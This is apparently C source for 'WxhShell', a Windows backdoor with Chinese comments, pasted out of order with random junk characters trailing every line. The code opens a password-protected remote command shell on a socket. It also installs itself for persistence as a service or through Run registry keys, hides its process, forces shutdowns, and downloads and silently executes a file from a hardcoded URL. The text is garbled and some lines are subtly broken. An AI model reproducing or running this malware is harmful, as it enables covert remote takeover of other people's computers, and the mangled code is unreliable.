  case 'd': { Bh@j6fv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N]5-#  
    if(Boot(SHUTDOWN)) ^(a%B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0P!6 .-XU  
    else { ;zp0,[r  
    closesocket(wsh); g y&B"`  
    ExitThread(0); 7 bpV=  
    } :.Np7[~{  
    break; G-T:7  
    } ,!Q2^R   
  // 获取shell CM~)\prks  
  case 's': { B'&%EW]  
    CmdShell(wsh); Cj ykM])  
    closesocket(wsh); 1'}~;?_  
    ExitThread(0); d7l0;yR&+  
    break; jMZ{>l.v  
  } 4Kx;F 9!%~  
  // 退出 wLNO\JP'  
  case 'x': { !v94FkS>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jtN2%w;  
    CloseIt(wsh); RELLQpz3  
    break; 8wwD\1pLS  
    } /(XtNtO*  
  // 离开 $0{c =r9  
  case 'q': { iGm[fxQ|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k+%6 :r,r&  
    closesocket(wsh); e6]u5;B r  
    WSACleanup(); 72Ft?;R  
    exit(1); V~ZAs+(2Z  
    break; Bm.%bA>  
        } &|55:Y87  
  } 5H>[@_u+:  
  } y<.1+TG  
n Hy|  
  // 提示信息 @Vc*JEW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,LU/xI0O  
} RXLD5$s^  
  } NCd_h<}|6F  
mVW:]|!s  
  return; %5a>@K]  
} Ean@GDLz8  
%?R}sUo  
// shell模块句柄 :X/j%m*  
int CmdShell(SOCKET sock) 1_*o(HR  
{ IU/dY`J1  
STARTUPINFO si; vJ }^ p }  
ZeroMemory(&si,sizeof(si)); BEN=/ v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hcwKi  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LbvnV~S  
PROCESS_INFORMATION ProcessInfo; V% psaT=)P  
char cmdline[]="cmd"; g/'MECB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RCo!sZP}  
  return 0; %Q rf ]  
} <<Ut@243\  
(*BQd1Z  
// 自身启动模式 EO3?Dev  
int StartFromService(void) 7k{C'\m  
{ (q"Nt_y  
typedef struct )<t5' +d%  
{ GR Rv0M  
  DWORD ExitStatus; 9SXFiZA(r  
  DWORD PebBaseAddress; DNC2]kS<  
  DWORD AffinityMask; 8"Hy'JA$O  
  DWORD BasePriority; {Jwh .bJ  
  ULONG UniqueProcessId; t|%wVj?_  
  ULONG InheritedFromUniqueProcessId; f9F@G&&Ugg  
}   PROCESS_BASIC_INFORMATION; [C9->`(`  
ON\_9\kv  
PROCNTQSIP NtQueryInformationProcess; x{j|Tf3,G  
V8 }yK$4b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xP "7B9B  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ab: yH ')  
2 D>WIOX  
  HANDLE             hProcess; 5iwJdm  
  PROCESS_BASIC_INFORMATION pbi; r|:i: ii  
U;Y{=07a@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^#9 &Rk!t  
  if(NULL == hInst ) return 0; "VRcR  
\f5$L`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lqTTTk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y}FTLX $  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tQ&.;{5[f  
:]v%6i.  
  if (!NtQueryInformationProcess) return 0; sjvlnnO   
NVAt-u0LB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yL7D;<!S&  
  if(!hProcess) return 0; u`O xY  
P=OHiG\z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DKx8<yEky  
py6|uGN  
  CloseHandle(hProcess); =rMT1  
nm_]2z O  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $0~H~ -  
if(hProcess==NULL) return 0; s=h  
'%vb&a!.6  
HMODULE hMod; 5IE2&V  
char procName[255]; tXV9+AJ  
unsigned long cbNeeded; d<r=f"  
!ZJ" lm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q;3.pRw(  
N0,wT6.  
  CloseHandle(hProcess); */;[ -9  
F#*vJb)  
if(strstr(procName,"services")) return 1; // 以服务启动 *$1M= $  
u^8:/~8K  
  return 0; // 注册表启动 Y!N *J  
} M{<cqxY  
BqC!78Y/e  
// 主模块 w]J9Kv1)-  
int StartWxhshell(LPSTR lpCmdLine) GsA/pXx  
{ XCc /\  
  SOCKET wsl; jeXv)}  
BOOL val=TRUE; K[!OfP  
  int port=0; SV0E7qX  
  struct sockaddr_in door; 71_{FL8  
!o1{. V9q  
  if(wscfg.ws_autoins) Install(); =UE/GTbl  
 G?AZ%Yx  
port=atoi(lpCmdLine); ze@NqCF  
(A|Gb2X  
if(port<=0) port=wscfg.ws_port; Ue^2H[zs-  
r BQFC 4L  
  WSADATA data; O$%M.C'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fl#gWAM  
:L*"OT7(6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aw&:$twbM  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \ 'G%%%;4  
  door.sin_family = AF_INET; mrX 2w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @ *P$4c  
  door.sin_port = htons(port); 1BO$xq  
1RpTI7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^m8T$^z>  
closesocket(wsl); _:DnF  
return 1; =@q 9,H  
} `@1y|j:m  
J6J[\  
  if(listen(wsl,2) == INVALID_SOCKET) { [!H2i p-  
closesocket(wsl); 03$-U0.;-  
return 1; /I&Hq7SW`  
} $8zsqd 4?  
  Wxhshell(wsl); G|MjKe4}  
  WSACleanup(); ^K*uP^B=  
BB@I|)9O(  
return 0; .@KpN*`KH  
golr,+LSo  
} {@, } M  
Ww-%s9N<  
// 以NT服务方式启动 3 r4QB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *W aL}i(P1  
{ GO0Spf_Gh  
DWORD   status = 0; kzU;24"K  
  DWORD   specificError = 0xfffffff; U'(}emh}  
/)fx(u#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DID&fj9m  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; swNJ\m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pie<jZt  
  serviceStatus.dwWin32ExitCode     = 0; *qdf?' R  
  serviceStatus.dwServiceSpecificExitCode = 0; hd{Vz{;W  
  serviceStatus.dwCheckPoint       = 0; jm9J-%?  
  serviceStatus.dwWaitHint       = 0; ] AkHNgW  
]4~- z3=y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9QE|p  
  if (hServiceStatusHandle==0) return; #vh1QV!Ho  
#!V [(/  
status = GetLastError(); D lz||==  
  if (status!=NO_ERROR) :aHD'K  
{ 'D#iT}Vu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eLE9-K+  
    serviceStatus.dwCheckPoint       = 0; *: )hoHp&  
    serviceStatus.dwWaitHint       = 0; EXn$ [K;  
    serviceStatus.dwWin32ExitCode     = status; Y8!T4dkn  
    serviceStatus.dwServiceSpecificExitCode = specificError; L(tS]yWHw  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \|^fG9M~  
    return; %~%1Is`4J  
  } y\0<f `v6  
w20E]4"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `.>5H\w0e  
  serviceStatus.dwCheckPoint       = 0; Fq3[/'M^  
  serviceStatus.dwWaitHint       = 0; wUkLe-n,dE  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3?|gBiX  
} E><!Owxt/  
2B&Yw  
// 处理NT服务事件,比如:启动、停止 .s$#: ls?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^,S\-Uy9  
{ S~^0 _?  
switch(fdwControl) /?X1>A:*  
{ 9`{[J['V  
case SERVICE_CONTROL_STOP: DF D5">g@  
  serviceStatus.dwWin32ExitCode = 0; G#n99X@-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _Y F~DU  
  serviceStatus.dwCheckPoint   = 0; OdX-.FFl  
  serviceStatus.dwWaitHint     = 0; 0_JbE  
  { 7s:`]V%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }gi>Z  
  } L8-  
  return; _nu %`?Va  
case SERVICE_CONTROL_PAUSE: pAg;Rib  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G#V5E)Dx  
  break; w`XwW#!}@$  
case SERVICE_CONTROL_CONTINUE: ( 8+_~_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wqDRFZ1*P  
  break; g*8LdH 6mq  
case SERVICE_CONTROL_INTERROGATE: EFeGxM  
  break; !NuYx9L?L  
}; -x )(2|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pGw|T~e%  
} {#M=gDhbX  
u:H@]z(x  
// 标准应用程序主函数 ]RHR>=;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }D.?O,ue  
{ ?#]K54?  
Yjz'lWg  
// 获取操作系统版本 @~6A9Fr  
OsIsNt=GetOsVer(); 5xW)nEV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N>i1TM2  
]*a)'k_@[  
  // 从命令行安装 sQW$P9s c  
  if(strpbrk(lpCmdLine,"iI")) Install(); .K^'Q|?  
@ [_I|  
  // 下载执行文件 #|*;~:fz  
if(wscfg.ws_downexe) { }8Wp X2U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V M[9!:  
  WinExec(wscfg.ws_filenam,SW_HIDE); K8*QS_*  
} Z4'"*  
u&l2s&i  
if(!OsIsNt) { fX G+88:2  
// 如果时win9x,隐藏进程并且设置为注册表启动 M%4o0k]E,s  
HideProc(); {(G@YG?  
StartWxhshell(lpCmdLine); Lc^nNUzPo  
} 9Vk61x6  
else R7T"fN  
  if(StartFromService()) %kD WUJZ  
  // 以服务方式启动 AF D/ J  
  StartServiceCtrlDispatcher(DispatchTable); Z91gAy^z<  
else FM9b0qE  
  // 普通方式启动 W#'c6Hq2c  
  StartWxhshell(lpCmdLine); xMg&>}5  
MnFem $ @  
return 0; sBp|Lo  
} FsZM_0>/s  
rPK?p J  
|w[}\#2  
R@>R@V>c  
=========================================== [a;lYsOsJ  
~bT0gIc  
hXS'*vO"  
bf3LNV|  
Q3%a=ba)h  
9<<$uf.B  
" 0<{/T*AU:  
mquna"}N  
#include <stdio.h> !_<.6ja  
#include <string.h> `{I,!to  
#include <windows.h> 3@$h/xMJ  
#include <winsock2.h> l>"gO9j  
#include <winsvc.h> mL+}Ka  
#include <urlmon.h> Ndi'b_Sh\  
KtY~Y  
#pragma comment (lib, "Ws2_32.lib") _wM[U`H}s  
#pragma comment (lib, "urlmon.lib") P,h@F+OZN  
_ %&"4bm.  
#define MAX_USER   100 // 最大客户端连接数 ,Z_nV+l_  
#define BUF_SOCK   200 // sock buffer |NtT-T)7  
#define KEY_BUFF   255 // 输入 buffer {114 [  
z1!ya#,$  
#define REBOOT     0   // 重启 m|~,#d@  
#define SHUTDOWN   1   // 关机 f]$ g9H  
doc5;?6   
#define DEF_PORT   5000 // 监听端口 fFXs:(  
~2@U85"o  
#define REG_LEN     16   // 注册表键长度 K *vNv 4  
#define SVC_LEN     80   // NT服务名长度 V2w[0^ L  
{z@vSQ=)=P  
// 从dll定义API G+[>or}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U'-MMwE]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ThWZ>hyJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ?O4Dhu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~\<ZWU<BE  
^ .kas7 <  
// wxhshell配置信息 qa^x4xZM  
struct WSCFG { ;~~Oc  
  int ws_port;         // 监听端口 a,cDj  
  char ws_passstr[REG_LEN]; // 口令 7u5B/M!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9][Mw[k>  
  char ws_regname[REG_LEN]; // 注册表键名 c}Z,xop<P{  
  char ws_svcname[REG_LEN]; // 服务名 rA*,)I_v@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 s>~&: GUwR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9[T#uh!DC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 JPQ02&e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Xki/5roCQ|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (/"T=`3t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .[cT3l/t  
.U5+PQN  
}; &[*<>  
08k1 w,6W  
// default Wxhshell configuration *B:{g>0  
struct WSCFG wscfg={DEF_PORT, 7M;Y#=sR  
    "xuhuanlingzhe", 8x,;B_Zu  
    1, ^ fK8~g;rB  
    "Wxhshell", ~w]1QHA'f  
    "Wxhshell", ,eUMSg~P.7  
            "WxhShell Service", 5tq$SF42X  
    "Wrsky Windows CmdShell Service", MiRH i<g0  
    "Please Input Your Password: ", \TMRS(  
  1, <S$y=>.9  
  "http://www.wrsky.com/wxhshell.exe", w5n>hz_5  
  "Wxhshell.exe" nj7Ri=lyS  
    }; w5|@vB/pj  
'2[ _U&e  
// 消息定义模块 ^"buF\3L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Bl`e+&b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6w1:3~a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Kyl(  
char *msg_ws_ext="\n\rExit."; :L`z~/6  
char *msg_ws_end="\n\rQuit."; 2~J|x+  
char *msg_ws_boot="\n\rReboot..."; {7/6~\'/@  
char *msg_ws_poff="\n\rShutdown..."; mz\ m^g3  
char *msg_ws_down="\n\rSave to "; `SW`d<+L  
eHnC^W}|s  
char *msg_ws_err="\n\rErr!"; 82/iVm1  
char *msg_ws_ok="\n\rOK!"; {{EQM +  
q6_1`Ew  
char ExeFile[MAX_PATH]; #UWQ (+F  
int nUser = 0; 6@F Z,e  
HANDLE handles[MAX_USER]; 3"L$*toRA  
int OsIsNt; @XIwp2A{+  
'.kbXw0}  
SERVICE_STATUS       serviceStatus; *;gi52tM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R:ar85F  
7H >dv'  
// 函数声明 xD1wHp!+  
int Install(void); Y(A?ib~K  
int Uninstall(void); |g;XC^!%=o  
int DownloadFile(char *sURL, SOCKET wsh); sJM}p5V  
int Boot(int flag); ~{NDtB)  
void HideProc(void); UT{N ly8u  
int GetOsVer(void); pwZ &2&|  
int Wxhshell(SOCKET wsl); _v $mGZpGY  
void TalkWithClient(void *cs); W\KZFrV@  
int CmdShell(SOCKET sock); @ics  
int StartFromService(void); Sr+1.77}  
int StartWxhshell(LPSTR lpCmdLine); =)I{KT:y  
O/-OW: 03  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @K+u+} R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rW6w1  
*v5y]E%aW  
// 数据结构和表定义 a9qZI  
SERVICE_TABLE_ENTRY DispatchTable[] = 'Gt`3qG  
{ =G72`]#-  
{wscfg.ws_svcname, NTServiceMain}, cxv) LOl-  
{NULL, NULL} Hd2_Cg FB  
}; }oU&J81  
S7SPc   
// 自我安装 (6A{6_p  
int Install(void) rpXw 8  
{ QB@*/Le   
  char svExeFile[MAX_PATH]; ome>Jbdhe  
  HKEY key; jS- QTG!=  
  strcpy(svExeFile,ExeFile); eBN>|mE4N  
bFJn-g n  
// 如果是win9x系统,修改注册表设为自启动 ]D]K_`!K  
if(!OsIsNt) { eb8_guZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q@j:b]Y9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q{5Vq_s\  
  RegCloseKey(key); #tfJ?w`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { { U<h tl4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Sl^cKb$7  
  RegCloseKey(key); eo,]b1C2n  
  return 0; . LS.Z 4@  
    } mcR!P~"i  
  } 4{Ak|  
} y\)w#  
else { l3MH+o  
?nn,RBS-  
// 如果是NT以上系统,安装为系统服务 J *B`C^i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _Ey8P0-I  
if (schSCManager!=0) WUV Q_<i+  
{ a&cV@~  
  SC_HANDLE schService = CreateService w##Fpv<m  
  ( (#,.;Y  
  schSCManager, v|'N|k l  
  wscfg.ws_svcname, i'u;"ot=  
  wscfg.ws_svcdisp, 7xcYM  
  SERVICE_ALL_ACCESS, qqAsh]Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !3&}r  
  SERVICE_AUTO_START, ynd}w G'  
  SERVICE_ERROR_NORMAL, oy'+n-  
  svExeFile, YS~x-5OE\  
  NULL, x~z 2l#ow  
  NULL, -|T^  
  NULL, Af%?WZlOq  
  NULL, FP Mk&  
  NULL GJ$,@  
  ); g-s@m}[T  
  if (schService!=0) V:+bq`  
  { oe<Y,%u"6  
  CloseServiceHandle(schService); hh{liS% 10  
  CloseServiceHandle(schSCManager); d"cfSH;h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  (M=Br  
  strcat(svExeFile,wscfg.ws_svcname); uXC?fMWp.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O*PHo_&G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) jvkwC  
  RegCloseKey(key); RAxz+1JT  
  return 0; &sWyh[`P  
    } PLyu1{1" z  
  } loB/w{r*x  
  CloseServiceHandle(schSCManager); WI9.?(5q  
} 7lpVK]  
} S .jjB  
%xruPWT:k  
return 1; &Y>u2OZ  
} -$q/7,os  
|{nI.>  
// 自我卸载 vOS0E^  
int Uninstall(void) 5zGj,y>u  
{ aVb]H0  
  HKEY key; *l^'v9  
d7P @_jO6  
if(!OsIsNt) { pSP_cYa#(#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KWUz]>Z  
  RegDeleteValue(key,wscfg.ws_regname); 0_EF7`T  
  RegCloseKey(key); f#t^<`7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xRUYJ=|oh  
  RegDeleteValue(key,wscfg.ws_regname); >KPJ74R  
  RegCloseKey(key); ]4yvTP3[Rm  
  return 0; O+$70   
  } MocH>^,  
} 5HN<*u%z  
} m [g}vwS  
else { dNobvK  
M&FuXG%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |gz ,Ip{  
if (schSCManager!=0) SDwSlwf  
{ bij?q\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); s*f.` A*)  
  if (schService!=0) 6~S0t1/t?  
  { ihWz/qx&q  
  if(DeleteService(schService)!=0) {  R'/wOE2  
  CloseServiceHandle(schService); )8SP$  
  CloseServiceHandle(schSCManager); {+:XVT_+  
  return 0; &>{>k<z  
  } sdWl5 "  
  CloseServiceHandle(schService); :ct+.#  
  } \7/_+)0}'  
  CloseServiceHandle(schSCManager); ,LZ:y1z'V-  
} a AM UJk  
} MDP MOA  
 aC: l;  
return 1; N 3c*S"1  
} }hYE6~pr  
G,-OH-M!  
// 从指定url下载文件 j%;)CV G"  
int DownloadFile(char *sURL, SOCKET wsh)  G{.+D2  
{ HH?*"cKF~  
  HRESULT hr; r<v%Zp  
char seps[]= "/"; O:)IRB3  
char *token; ~S6{VK.  
char *file; [R>   
char myURL[MAX_PATH]; ][nUPl  
char myFILE[MAX_PATH]; P{eRDQ=  
;vdgF  
strcpy(myURL,sURL); sCQup^\  
  token=strtok(myURL,seps); oNZ W#<K  
  while(token!=NULL) l`&6W?C  
  { c5e\ckqm^  
    file=token; S$52KOo  
  token=strtok(NULL,seps); ]gksyxn3  
  } 6 W;k IoB  
C4tl4df9  
GetCurrentDirectory(MAX_PATH,myFILE); E{ s|#  
strcat(myFILE, "\\"); l|A8AuO*?  
strcat(myFILE, file); Mqp68%  
  send(wsh,myFILE,strlen(myFILE),0); xUi!|c  
send(wsh,"...",3,0); QJWES%m`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9Oyi:2A  
  if(hr==S_OK) k+$4?/A  
return 0; PAV2w_X~  
else ~iZF~PQ1_  
return 1; NRSse"  
QV$dKjMS  
} Vor9 ?F&w  
IGT_ 5te  
// 系统电源模块 :QV6 z*#zD  
int Boot(int flag) B:4qW[U#  
{ ~^~RltY  
  HANDLE hToken; tq[",&K  
  TOKEN_PRIVILEGES tkp; \)ZX4rs{8  
t[,T}BCy.  
  if(OsIsNt) { ddDJXk)!0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y&f[2+?2NK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3b@1Zahz  
    tkp.PrivilegeCount = 1; $S8bp3)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OIty ]c  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L"7` \4  
if(flag==REBOOT) { a=.db&;vY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8M+F!1-#  
  return 0; I%>]!X  
} ?{,)XFck  
else { 14 'x-w^~k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) up3<=u{>  
  return 0; vC<kpf!  
} }|"*"kxi!  
  } `OReSg 2  
  else { %GCd?cFF  
if(flag==REBOOT) { D.R|HqZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8sF0]J[g{  
  return 0; e=;@L3f  
} @-@rG>y^:  
else { h;UdwmT  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {_ho!OS>  
  return 0; {C0^D*U:  
} "rDzrz  
} }_:#fE  
=tRe3o0(  
return 1; -sH.yAvC6  
} k,iV$,[TF  
.Xz"NyW  
// win9x进程隐藏模块 *5'6 E'  
void HideProc(void) QqK{~I|l  
{ zHc4e   
2a(yR >#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ldj^O9p(  
  if ( hKernel != NULL ) Xa%&.&V  
  { $_7d! S"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r]//Q6|S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .y_bV=  
    FreeLibrary(hKernel); \3(| c#c  
  } UH,4b`b  
+fCyR  
return; k&_u\D"^"%  
}  !QW 0  
GlgORy=>  
// 获取操作系统版本 +JAfHQm-  
int GetOsVer(void) VBsFT2XiL  
{ iLd"tn'  
  OSVERSIONINFO winfo; f+aS2k(e>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ta\8 >\6  
  GetVersionEx(&winfo); HD8"=7zJk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ah"MzU)  
  return 1; 9q)nNX<$)  
  else L5qCv -{  
  return 0; I;.! hV>E  
} ;/^]|  
- Zoo)  
// 客户端句柄模块 y7IbE   
int Wxhshell(SOCKET wsl) (zro7gKked  
{ ?r'TH/>  
  SOCKET wsh; (VXx G/E3  
  struct sockaddr_in client; ];{l$-$$  
  DWORD myID; O$umu_  
L!b0y7yR  
  while(nUser<MAX_USER) %=mwOoMk0L  
{ C|~JPcl  
  int nSize=sizeof(client); "K$Wh1<7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %f> |fs  
  if(wsh==INVALID_SOCKET) return 1; [cL U*:  
IU'!?XVo  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 73s3-DS,  
if(handles[nUser]==0) >[%.h(h/%  
  closesocket(wsh); pGbFg&  
else ;'Vipj   
  nUser++; CMxjX  
  } qfP"UAc{/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .";tnC!e  
E ^SM`  
  return 0; xX&>5 "  
} ,ORG"]_F  
?ZuD _L-i  
// 关闭 socket HHIUl,P  
void CloseIt(SOCKET wsh) <j1d~XU}  
{ l;{N/cS  
closesocket(wsh); WVT5VJ7*  
nUser--; $6&GAJe  
ExitThread(0); z Jo#3  
} e"s{_V  
w{zJE]7  
// 客户端请求句柄 \`Ph=lJO  
void TalkWithClient(void *cs) M\?uDC9  
{ ekl? K~  
:a f;yu  
  SOCKET wsh=(SOCKET)cs; "U5Ln2X{J  
  char pwd[SVC_LEN]; hNq8 uyKx  
  char cmd[KEY_BUFF]; 5Ckk5b  
char chr[1]; [,o5QH\Etq  
int i,j; v1X&p\[d  
r@ T-Hi  
  while (nUser < MAX_USER) { XC/]u%n8](  
X\3 ,NR,  
if(wscfg.ws_passstr) { |!xfIR>=F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); il>x!)?o  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nzE,F\k  
  //ZeroMemory(pwd,KEY_BUFF); v1"g!%U6  
      i=0; ej"o?1l@  
  while(i<SVC_LEN) { 8F`BJ6='  
\{M rQ2jd  
  // 设置超时 w[,?- Xm  
  fd_set FdRead; gSv[4,hXd  
  struct timeval TimeOut; L%o65  
  FD_ZERO(&FdRead); Lr24bv\  
  FD_SET(wsh,&FdRead); =N@)CB7a  
  TimeOut.tv_sec=8; L`HH);Ozw  
  TimeOut.tv_usec=0; BudWbZ5>Ep  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); we H@S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); A}#]g>L  
|?fW!y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CNpe8M=/3  
  pwd=chr[0]; %];h|[ax]  
  if(chr[0]==0xd || chr[0]==0xa) { 1 ~B<  
  pwd=0; =UB*xm%!  
  break; FUzMc1zy|  
  } 6Bq~\b^  
  i++; l#5~ t|\  
    } B::4Qme  
LpiHoavv  
  // 如果是非法用户,关闭 socket 7$1fy0f[l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S`W'G&bCj  
} _']%qd"%  
35%[D Ukb  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N)vk0IM!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }o!#_N0T  
Xew1LPI  
while(1) { StdS$XW  
O7'<I|aD  
  ZeroMemory(cmd,KEY_BUFF); p29yaM  
wzDk{4U  
      // 自动支持客户端 telnet标准   c+Q.?vJ  
  j=0; m<FWv2)^  
  while(j<KEY_BUFF) { u^aFj%}]L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n ,&/D  
  cmd[j]=chr[0]; {XDY:`vZ}  
  if(chr[0]==0xa || chr[0]==0xd) { Uxk[O  
  cmd[j]=0; ]M+VSU  
  break; Z92iil;t  
  } ~|r'2V*  
  j++; !y qa?\v9  
    } mX<Fuu}E*Z  
AK@`'$  
  // 下载文件 m{b ZRkt  
  if(strstr(cmd,"http://")) { DD/>{kff  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _4.]A 3;}  
  if(DownloadFile(cmd,wsh)) >op:0on]}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c|\ZRBdI  
  else \uU=O )  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (b/A|hl  
  } S1 EEASr!}  
  else { L(WL,xnBy  
W.#}q K" q  
